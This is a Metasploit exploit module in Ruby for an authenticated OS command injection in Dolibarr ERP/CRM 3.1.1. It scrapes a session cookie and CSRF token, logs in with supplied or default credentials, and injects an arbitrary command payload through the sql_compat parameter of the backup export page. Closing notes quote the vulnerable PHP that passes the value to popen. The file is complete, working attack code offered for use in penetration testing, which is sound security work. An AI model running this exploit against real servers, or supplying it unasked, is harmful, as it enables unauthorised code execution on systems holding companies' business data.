metasploit-framework/modules/exploits/linux/http/dolibarr_cmd_exec.rb

184 lines
5.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Dolibarr ERP/CRM Post-Auth OS Command Injection",
'Description' => %q{
This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
backup feature. This software is used to manage a company's business
information such as contacts, invoices, orders, stocks, agenda, etc.
When processing a database backup request, the export.php function
does not check the input given to the sql_compat parameter, which allows
a remote authenticated attacker to inject system commands into it,
and then gain arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '80980'],
['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
],
'Arch' => ARCH_CMD,
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Platform' => %w{ linux unix },
'Targets' =>
[
# Older versions are probably also vulnerable according to
# Nahuel's report on full disclosure
['Dolibarr 3.1.1 on Linux', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 6 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']),
OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']),
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
], self.class)
end
def check
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
res = send_request_raw({
'method' => 'GET',
'uri' => uri
})
if res and res.body =~ /Dolibarr 3\.1\.1/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
})
return [nil, nil] if res.nil? || res.get_cookies.empty?
# Get the session ID from the cookie
m = res.get_cookies.match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]
# Get the token from the decompressed HTTP body response
m = res.body.match(/type="hidden" name="token" value="(.+)"/)
token = (m.nil?) ? nil : m[1]
return id, token
end
def login(sid, token)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri.path}index.php",
'cookie' => sid,
'vars_post' => {
'token' => token,
'loginfunction' => 'loginfunction',
'tz' => '-6',
'dst' => '1',
'screenwidth' => '1093',
'screenheight' => '842',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
location = res.headers['Location']
return (location =~ /admin\//)
end
def exploit
@uri = target_uri
@uri.path << "/" if @uri.path[-1, 1] != "/"
peer = "#{rhost}:#{rport}"
print_status("Getting the sid and token...")
sid, token = get_sid_token
if sid.nil?
print_error("Unable to retrieve a session ID")
return
elsif token.nil?
print_error("Unable to retrieve a token")
return
end
user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("Attempt to login with \"#{user}:#{pass}\"")
success = login(sid, token)
if not success
print_error("Unable to login")
return
end
print_status("Sending malicious request...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "admin/tools/export.php"),
'cookie' => sid,
'vars_post' => {
'token' => token,
'export_type' => 'server',
'what' => 'mysql',
'mysqldump' => '/usr/bin/mysqldump',
'use_transaction' => 'yes',
'disable_fk' => 'yes',
'sql_compat' => ";#{payload.encoded};",
'sql_structure' => 'structure',
'drop' => '1',
'sql_data' => 'data',
'showcolumns' => 'yes',
'extended_ins' => 'yes',
'delayed' => 'yes',
'sql_ignore' => 'yes',
'hexforbinary' => 'yes',
'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
'compression' => 'none'
}
})
end
end
=begin
Notes:
114 if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137 $paramcrypted=$param;
...
159 $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165 if ($handle)
166 {
....
169 $handlein = popen($fullcommandclear, 'r');
....
185 }
=end